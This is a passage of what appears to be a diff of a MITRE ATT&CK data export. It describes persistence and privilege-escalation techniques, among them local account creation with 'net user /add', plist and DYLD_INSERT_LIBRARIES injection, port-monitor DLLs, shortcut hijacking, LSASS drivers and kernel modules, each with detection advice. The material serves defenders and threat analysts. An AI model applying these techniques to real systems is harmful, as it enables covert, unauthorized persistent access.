adversary.",True,['Administrator'],"['Windows', 'macOS', 'Linux']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1136/001', 'external_id': 'T1136.001'}, {'source_name': 'Microsoft User Creation Event', 'description': 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720'}]",1.1,attack-pattern,attack-pattern--635cbe30-392d-4e27-978e-66774357c762,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-28T13:50:22.506Z,2021-08-12T13:04:14.248Z,Local Account,"Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account. -Adversaries can modify plist files to execute their code as part of establishing persistence. plists may also be used to elevate privileges since they may execute in the context of another user.(Citation: Sofacy Komplex Trojan) +Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.",['persistence'],https://attack.mitre.org/techniques/T1136/001,mitre-attack,T1136.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['User Account: User Account Creation', 'Process: Process Creation', 'Command: Command Execution']",,"Monitor for processes and command-line parameters associated with local account creation, such as net user /add , useradd , and dscl -create . Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary.",True,['Administrator'],"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/011', 'external_id': 'T1547.011'}, {'source_name': 'fileinfo plist file description', 'description': 'FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021.', 'url': 'https://fileinfo.com/extension/plist'}, {'source_name': 'wardle artofmalware volume1', 'description': 'Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021.', 'url': 'https://taomm.org/vol1/pdfs.html'}]",1.1,attack-pattern,attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T20:02:59.149Z,2021-10-15T14:46:47.383Z,Plist Modification,"Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, Info.plist, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description) -A specific plist used for execution at login is com.apple.loginitems.plist.(Citation: Methods of Mac Malware Persistence) Applications under this plist run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them.(Citation: Adding Login Items) Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ""hide"" the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method SMLoginItemSetEnabled can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1059/002) can do this as well. (Citation: Adding Login Items)",attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a,attack-pattern,"['persistence', 'privilege-escalation']",2021-03-30T00:51:59.629Z,2020-01-24T20:02:59.149Z,"File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like ""Knock Knock"" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed. +Adversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the DYLD_INSERT_LIBRARIES key combined with a path to a malicious dylib under the EnvironmentVariables key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the LSEnvironment key in the application's Info.plist file.(Citation: wardle artofmalware volume1)","['persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1547/011,mitre-attack,T1547.011,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Service: Service Creation', 'Command: Command Execution', 'File: File Modification', 'Process: Process Creation']",,"Monitor for common command-line editors used to modify plist files located in auto-run locations, such as ~/LaunchAgents, ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm, and an application's Info.plist. -All the login items created via shared file lists are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area (and the corresponding file locations) should be monitored and allowed for known good applications. Otherwise, Login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) +Monitor for plist file modification immediately followed by code execution from ~/Library/Scripts and ~/Library/Preferences. Also, monitor for significant changes to any path pointers in a modified plist. -Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.","['File: File Creation', 'File: File Modification', 'Process: Process Creation']",,,"['User', 'Administrator']",['macOS'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1547.010', 'url': 'https://attack.mitre.org/techniques/T1547/010'}, {'url': 'http://msdn.microsoft.com/en-us/library/dd183341', 'description': 'Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014.', 'source_name': 'AddMonitor'}, {'url': 'https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf', 'description': 'Bloxham, B. (n.d.). Getting Windows to Play with Itself [PowerPoint slides]. Retrieved November 12, 2014.', 'source_name': 'Bloxham'}, {'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'source_name': 'TechNet Autoruns'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1547/010,mitre-attack,T1547.010,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Port Monitors,"Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\Windows\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors. +Identify new services executed from plist modified in the previous user's session. ",True,"['User', 'Administrator']",['macOS'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/010', 'external_id': 'T1547.010'}, {'source_name': 'AddMonitor', 'description': 'Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014.', 'url': 'http://msdn.microsoft.com/en-us/library/dd183341'}, {'source_name': 'Bloxham', 'description': 'Bloxham, B. (n.d.). Getting Windows to Play with Itself [PowerPoint slides]. Retrieved November 12, 2014.', 'url': 'https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf'}, {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'}]",1.0,attack-pattern,attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T19:46:27.750Z,2020-01-24T19:46:27.750Z,Port Monitors,"Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\Windows\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors. The Registry key contains entries for the following: @@ -1971,37 +2181,38 @@ The Registry key contains entries for the following: * USB Monitor * WSD Port -Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.",attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe,attack-pattern,"['persistence', 'privilege-escalation']",2020-01-24T19:46:27.750Z,2020-01-24T19:46:27.750Z,"Monitor process API calls to AddMonitor.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. +Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.","['persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1547/010,mitre-attack,T1547.010,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Stefan Kanthak', 'Travis Smith, Tripwire']","['File: File Creation', 'Process: OS API Execution', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification']",,"Monitor process API calls to AddMonitor.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. -Monitor Registry writes to HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)","['File: File Creation', 'Process: OS API Execution', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification']","['Stefan Kanthak', 'Travis Smith, Tripwire']",,"['SYSTEM', 'Administrator']",['Windows'],,,,,,['SYSTEM'],,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1547.009', 'url': 'https://attack.mitre.org/techniques/T1547/009'}, {'external_id': 'CAPEC-132', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/132.html'}, {'source_name': 'BSidesSLC 2020 - LNK Elastic', 'url': 'https://www.youtube.com/watch?v=nJ0UsyiUEqQ', 'description': 'French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger Than Its Weakest LNK. Retrieved November 30, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.1,True,https://attack.mitre.org/techniques/T1547/009,mitre-attack,T1547.009,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Shortcut Modification,"Adversaries may create or edit shortcuts to run a program during system boot or user login. Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. +Monitor Registry writes to HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)",True,"['SYSTEM', 'Administrator']",['Windows'],,,,,,['SYSTEM'],,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/009', 'external_id': 'T1547.009'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/132.html', 'external_id': 'CAPEC-132'}, {'source_name': 'BSidesSLC 2020 - LNK Elastic', 'description': 'French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger Than Its Weakest LNK. Retrieved November 30, 2020.', 'url': 'https://www.youtube.com/watch?v=nJ0UsyiUEqQ'}]",1.1,attack-pattern,attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T19:00:32.917Z,2021-04-13T21:30:24.555Z,Shortcut Modification,"Adversaries may create or edit shortcuts to run a program during system boot or user login. Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. -Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.",attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179,attack-pattern,"['persistence', 'privilege-escalation']",2021-04-13T21:30:24.555Z,2020-01-24T19:00:32.917Z,"Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections. +Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.","['persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1547/009,mitre-attack,T1547.009,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['David French, Elastic', 'Bobby, Filar, Elastic', 'Travis Smith, Tripwire']","['File: File Creation', 'File: File Modification', 'Process: Process Creation']",,"Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections. -Monitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)","['File: File Creation', 'File: File Modification', 'Process: Process Creation']","['David French, Elastic', 'Bobby, Filar, Elastic', 'Travis Smith, Tripwire']",,"['Administrator', 'User']",['Windows'],,CAPEC-132,https://capec.mitre.org/data/definitions/132.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1547.008', 'url': 'https://attack.mitre.org/techniques/T1547/008'}, {'url': 'https://technet.microsoft.com/library/cc961760.aspx', 'description': 'Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017.', 'source_name': 'Microsoft Security Subsystem'}, {'url': 'https://technet.microsoft.com/library/dn408187.aspx', 'description': 'Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.', 'source_name': 'Microsoft LSA Protection Mar 2014'}, {'url': 'https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx', 'description': 'Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.', 'source_name': 'Microsoft DLL Security'}, {'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'source_name': 'TechNet Autoruns'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1547/008,mitre-attack,T1547.008,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,LSASS Driver,"Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem) +Monitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)",True,"['Administrator', 'User']",['Windows'],,CAPEC-132,https://capec.mitre.org/data/definitions/132.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/008', 'external_id': 'T1547.008'}, {'source_name': 'Microsoft Security Subsystem', 'description': 'Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017.', 'url': 'https://technet.microsoft.com/library/cc961760.aspx'}, {'source_name': 'Microsoft LSA Protection Mar 2014', 'description': 'Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.', 'url': 'https://technet.microsoft.com/library/dn408187.aspx'}, {'source_name': 'Microsoft DLL Security', 'description': 'Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx'}, {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'}]",1.0,attack-pattern,attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T18:38:55.801Z,2020-03-25T16:52:26.567Z,LSASS Driver,"Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem) -Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.",attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4,attack-pattern,"['persistence', 'privilege-escalation']",2020-03-25T16:52:26.567Z,2020-01-24T18:38:55.801Z,"With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security) +Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.","['persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1547/008,mitre-attack,T1547.008,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Vincent Le Toux'],"['Module: Module Load', 'Driver: Driver Load', 'File: File Modification', 'File: File Creation']",,"With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security) -Utilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA. ","['Module: Module Load', 'Driver: Driver Load', 'File: File Modification', 'File: File Creation']",['Vincent Le Toux'],,"['SYSTEM', 'Administrator']",['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1547.007', 'url': 'https://attack.mitre.org/techniques/T1547/007'}, {'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'source_name': 'Methods of Mac Malware Persistence'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1547/007,mitre-attack,T1547.007,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Re-opened Applications,"Adversaries may modify plist files to automatically run an application when a user logs in. Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user logs into their machine after reboot. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist. +Utilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA. ",True,"['SYSTEM', 'Administrator']",['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/007', 'external_id': 'T1547.007'}, {'source_name': 'Methods of Mac Malware Persistence', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'}]",1.0,attack-pattern,attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T18:15:06.641Z,2020-01-24T19:51:37.795Z,Re-opened Applications,"Adversaries may modify plist files to automatically run an application when a user logs in. Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user logs into their machine after reboot. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist. -An adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).",attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e,attack-pattern,"['persistence', 'privilege-escalation']",2020-01-24T19:51:37.795Z,2020-01-24T18:15:06.641Z,Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.,"['File: File Modification', 'Command: Command Execution']",,,['User'],['macOS'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1547.006', 'url': 'https://attack.mitre.org/techniques/T1547/006'}, {'source_name': 'Linux Kernel Programming', 'url': 'https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf', 'description': 'Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.'}, {'url': 'http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html', 'description': 'Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018.', 'source_name': 'Linux Kernel Module Programming Guide'}, {'url': 'http://www.megasecurity.org/papers/Rootkits.pdf', 'description': 'Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018.', 'source_name': 'iDefense Rootkit Overview'}, {'source_name': 'Apple Kernel Extension Deprecation', 'url': 'https://developer.apple.com/support/kernel-extensions/', 'description': 'Apple. (n.d.). Deprecated Kernel Extensions and System Extension Alternatives. Retrieved November 4, 2020.'}, {'url': 'https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html', 'description': 'Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.', 'source_name': 'Volatility Phalanx2'}, {'url': 'https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/', 'description': 'Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.', 'source_name': 'CrowdStrike Linux Rootkit'}, {'url': 'https://github.com/f0rb1dd3n/Reptile', 'description': 'Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018.', 'source_name': 'GitHub Reptile'}, {'url': 'https://github.com/m0nad/Diamorphine', 'description': 'Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.', 'source_name': 'GitHub Diamorphine'}, {'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf', 'description': 'Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018.', 'source_name': 'RSAC 2015 San Francisco Patrick Wardle'}, {'url': 'https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/', 'description': 'Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel Extension Loading’ is Broken. Retrieved April 6, 2018.', 'source_name': 'Synack Secure Kernel Extension Broken'}, {'url': 'https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/', 'description': 'Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018.', 'source_name': 'Securelist Ventir'}, {'source_name': 'Trend Micro Skidmap', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/', 'description': 'Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020.'}, {'url': 'http://tldp.org/HOWTO/Module-HOWTO/x197.html', 'description': 'Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018.', 'source_name': 'Linux Loadable Kernel Module Insert and Remove LKMs'}, {'url': 'https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux', 'description': 'Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.', 'source_name': 'Wikipedia Loadable Kernel Module'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.1,True,https://attack.mitre.org/techniques/T1547/006,mitre-attack,T1547.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Kernel Modules and Extensions,"Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming)  +An adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).","['persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1547/007,mitre-attack,T1547.007,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Modification', 'Command: Command Execution']",,Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.,True,['User'],['macOS'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/006', 'external_id': 'T1547.006'}, {'source_name': 'Linux Kernel Programming', 'description': 'Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.', 'url': 'https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf'}, {'source_name': 'Linux Kernel Module Programming Guide', 'description': 'Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018.', 'url': 'http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html'}, {'source_name': 'iDefense Rootkit Overview', 'description': 'Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018.', 'url': 'http://www.megasecurity.org/papers/Rootkits.pdf'}, {'source_name': 'Apple Kernel Extension Deprecation', 'description': 'Apple. (n.d.). Deprecated Kernel Extensions and System Extension Alternatives. Retrieved November 4, 2020.', 'url': 'https://developer.apple.com/support/kernel-extensions/'}, {'source_name': 'Volatility Phalanx2', 'description': 'Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.', 'url': 'https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html'}, {'source_name': 'CrowdStrike Linux Rootkit', 'description': 'Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.', 'url': 'https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/'}, {'source_name': 'GitHub Reptile', 'description': 'Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018.', 'url': 'https://github.com/f0rb1dd3n/Reptile'}, {'source_name': 'GitHub Diamorphine', 'description': 'Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.', 'url': 'https://github.com/m0nad/Diamorphine'}, {'source_name': 'RSAC 2015 San Francisco Patrick Wardle', 'description': 'Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 